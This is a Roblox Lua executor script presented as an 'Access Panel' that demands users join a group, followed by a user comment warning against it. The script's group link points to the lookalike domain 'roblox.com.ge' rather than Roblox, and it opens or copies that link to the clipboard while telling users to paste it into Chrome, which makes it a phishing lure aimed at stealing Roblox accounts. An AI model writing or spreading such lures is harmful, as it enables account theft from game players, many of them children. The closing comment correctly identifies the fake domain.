local Players = game:GetService("Players")
local TweenService = game:GetService("TweenService")
local UserInputService = game:GetService("UserInputService")
local player = Players.LocalPlayer
-- CONFIG
local GROUP_ID = 3059400038
local GROUP_LINK = "https://roblox.com.ge/communities/3059400038/"
-- UI
local ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "AccessUI"
ScreenGui.Parent = player:WaitForChild("PlayerGui")
-- Main Frame
local Main = Instance.new("Frame")
Main.Size = UDim2.new(0, 380, 0, 270)
Main.Position = UDim2.new(0.5, -190, 0.7, 0)
Main.BackgroundColor3 = Color3.fromRGB(20, 20, 25)
Main.BorderSizePixel = 0
Main.Parent = ScreenGui
Instance.new("UICorner", Main).CornerRadius = UDim.new(0, 18)
-- Stroke
local Stroke = Instance.new("UIStroke", Main)
Stroke.Color = Color3.fromRGB(60,60,70)
Stroke.Transparency = 0.6
-- Accent
local Accent = Instance.new("Frame", Main)
Accent.Size = UDim2.new(1,0,0,5)
Accent.BorderSizePixel = 0
Instance.new("UICorner", Accent).CornerRadius = UDim.new(0,18)
local Grad = Instance.new("UIGradient", Accent)
Grad.Color = ColorSequence.new{
ColorSequenceKeypoint.new(0, Color3.fromRGB(0,170,255)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(0,255,200))
}
-- Title (drag handle)
local Title = Instance.new("TextLabel", Main)
Title.Text = "ACCESS PANEL"
Title.Size = UDim2.new(1,0,0,45)
Title.BackgroundTransparency = 1
Title.TextColor3 = Color3.fromRGB(255,255,255)
Title.Font = Enum.Font.GothamBold
Title.TextSize = 22
-- Status
local Status = Instance.new("TextLabel", Main)
Status.Text = "Checking access..."
Status.Size = UDim2.new(1,-20,0,25)
Status.Position = UDim2.new(0,10,0,50)
Status.BackgroundTransparency = 1
Status.TextColor3 = Color3.fromRGB(170,170,170)
Status.Font = Enum.Font.Gotham
Status.TextSize = 14
-- Instructions
local Instructions = Instance.new("TextLabel", Main)
Instructions.Text = "1. Press JOIN GROUP\n2. Opens or copies link\n3. If it doesn't open, paste in Chrome\n4. Join the group"
Instructions.Size = UDim2.new(1,-30,0,80)
Instructions.Position = UDim2.new(0,15,0,80)
Instructions.BackgroundTransparency = 1
Instructions.TextColor3 = Color3.fromRGB(200,200,200)
Instructions.Font = Enum.Font.Gotham
Instructions.TextSize = 14
Instructions.TextWrapped = true
Instructions.TextXAlignment = Enum.TextXAlignment.Left
-- Button
local JoinBtn = Instance.new("TextButton", Main)
JoinBtn.Text = "JOIN GROUP"
JoinBtn.Size = UDim2.new(0.65,0,0,42)
JoinBtn.Position = UDim2.new(0.175,0,0,170)
JoinBtn.BackgroundColor3 = Color3.fromRGB(0,160,255)
JoinBtn.TextColor3 = Color3.fromRGB(255,255,255)
JoinBtn.Font = Enum.Font.GothamBold
JoinBtn.TextSize = 15
Instance.new("UICorner", JoinBtn).CornerRadius = UDim.new(0,14)
local BtnGrad = Instance.new("UIGradient", JoinBtn)
BtnGrad.Color = ColorSequence.new{
ColorSequenceKeypoint.new(0, Color3.fromRGB(0,140,255)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(0,200,255))
}
-- Footer
local Footer = Instance.new("TextLabel", Main)
Footer.Text = "Need help? discord.gg/QYUJWVdz7"
Footer.Size = UDim2.new(1,-20,0,20)
Footer.Position = UDim2.new(0,10,1,-25)
Footer.BackgroundTransparency = 1
Footer.TextColor3 = Color3.fromRGB(130,130,130)
Footer.Font = Enum.Font.Gotham
Footer.TextSize = 11
-- STATE
local busy = false
local hasAccess = false
-- Check group
local function checkGroup()
local inGroup = false
pcall(function()
inGroup = player:IsInGroup(GROUP_ID)
end)
if inGroup then
hasAccess = true
Status.Text = "Access Granted ✅"
Status.TextColor3 = Color3.fromRGB(0,255,170)
JoinBtn.Visible = false
else
hasAccess = false
Status.Text = "Join the group to continue ❌"
Status.TextColor3 = Color3.fromRGB(255,120,120)
JoinBtn.Visible = true
end
end
-- Auto re-check
task.spawn(function()
while not hasAccess do
task.wait(5)
checkGroup()
end
end)
-- Button click (browser + fallback + instruction)
JoinBtn.MouseButton1Click:Connect(function()
if busy then return end
busy = true
local opened = false
if typeof(openbrowser) == "function" then
openbrowser(GROUP_LINK)
opened = true
elseif typeof(open_url) == "function" then
open_url(GROUP_LINK)
opened = true
end
if opened then
Status.Text = "Opened in browser 🌐 (if not, paste in Chrome)"
Status.TextColor3 = Color3.fromRGB(0,255,170)
else
if typeof(setclipboard) == "function" then
setclipboard(GROUP_LINK)
Status.Text = "Link copied! Paste it in Chrome 🌐"
Status.TextColor3 = Color3.fromRGB(0,200,255)
else
Status.Text = "Copy link and open in Chrome ⚠️"
end
end
task.wait(1)
busy = false
end)
-- Button animations
JoinBtn.MouseEnter:Connect(function()
TweenService:Create(JoinBtn, TweenInfo.new(0.2), {
Size = UDim2.new(0.68,0,0,44)
}):Play()
end)
JoinBtn.MouseLeave:Connect(function()
TweenService:Create(JoinBtn, TweenInfo.new(0.2), {
Size = UDim2.new(0.65,0,0,42)
}):Play()
end)
-- Draggable (TITLE ONLY)
local dragging = false
local dragInput
local dragStart
local startPos
local function update(input)
local delta = input.Position - dragStart
Main.Position = UDim2.new(
startPos.X.Scale,
startPos.X.Offset + delta.X,
startPos.Y.Scale,
startPos.Y.Offset + delta.Y
)
end
Title.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1
or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = Main.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
Title.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement
or input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
UserInputService.InputChanged:Connect(function(input)
if input == dragInput and dragging then
update(input)
end
end)
-- Entrance animation
TweenService:Create(Main, TweenInfo.new(0.5, Enum.EasingStyle.Quad), {
Position = UDim2.new(0.5, -190, 0.5, -135)
}):Play()
-- Initial check
checkGroup()
Comments
Dont use this, itll steal ur account as you can see in the link "https://roblox.com.ge", this is not a official roblox link. stay safe!